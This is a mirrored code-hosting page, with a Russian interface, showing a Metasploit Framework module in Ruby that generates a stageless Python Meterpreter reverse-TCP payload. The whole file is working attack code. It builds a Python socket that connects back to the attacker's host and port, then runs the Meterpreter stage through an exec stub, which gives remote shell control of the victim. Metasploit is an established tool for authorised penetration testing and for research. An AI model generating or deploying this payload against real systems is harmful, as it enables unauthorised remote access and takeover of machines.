/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/payloads/singles/python/meterpreter_reverse_tcp.rb
44 строки
1 KB
OJ
Add support for stageless extension wiring
16 июл 2026, 19:56
16 июл 2026, 19:56
29be383
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## module MetasploitModule CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Python include Msf::Payload::Python::ReverseTcp include Msf::Payload::Python::MeterpreterLoader def initialize(info = {}) super( merge_info( info, 'Name' => 'Python Meterpreter Shell, Reverse TCP Inline', 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end def generate_reverse_tcp(opts = {}) socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) end end